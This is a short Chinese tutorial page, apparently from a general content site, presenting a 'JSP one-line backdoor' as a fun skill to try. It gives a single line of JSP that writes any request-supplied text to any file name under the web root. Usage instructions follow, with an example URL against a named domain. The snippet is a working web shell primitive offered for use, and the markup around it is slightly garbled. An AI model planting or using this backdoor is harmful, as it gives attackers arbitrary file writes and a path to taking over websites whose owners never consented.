JSP一句话后门
2016-02-19 11:40
想不想get新技能酷炫一下，今天图老师小编就跟大家分享个简单的JSP一句话后门教程，一起来看看吧！超容易上手~
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%
使用方法:
提交url!
jsp?f=1.txt" target="_blank"http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld
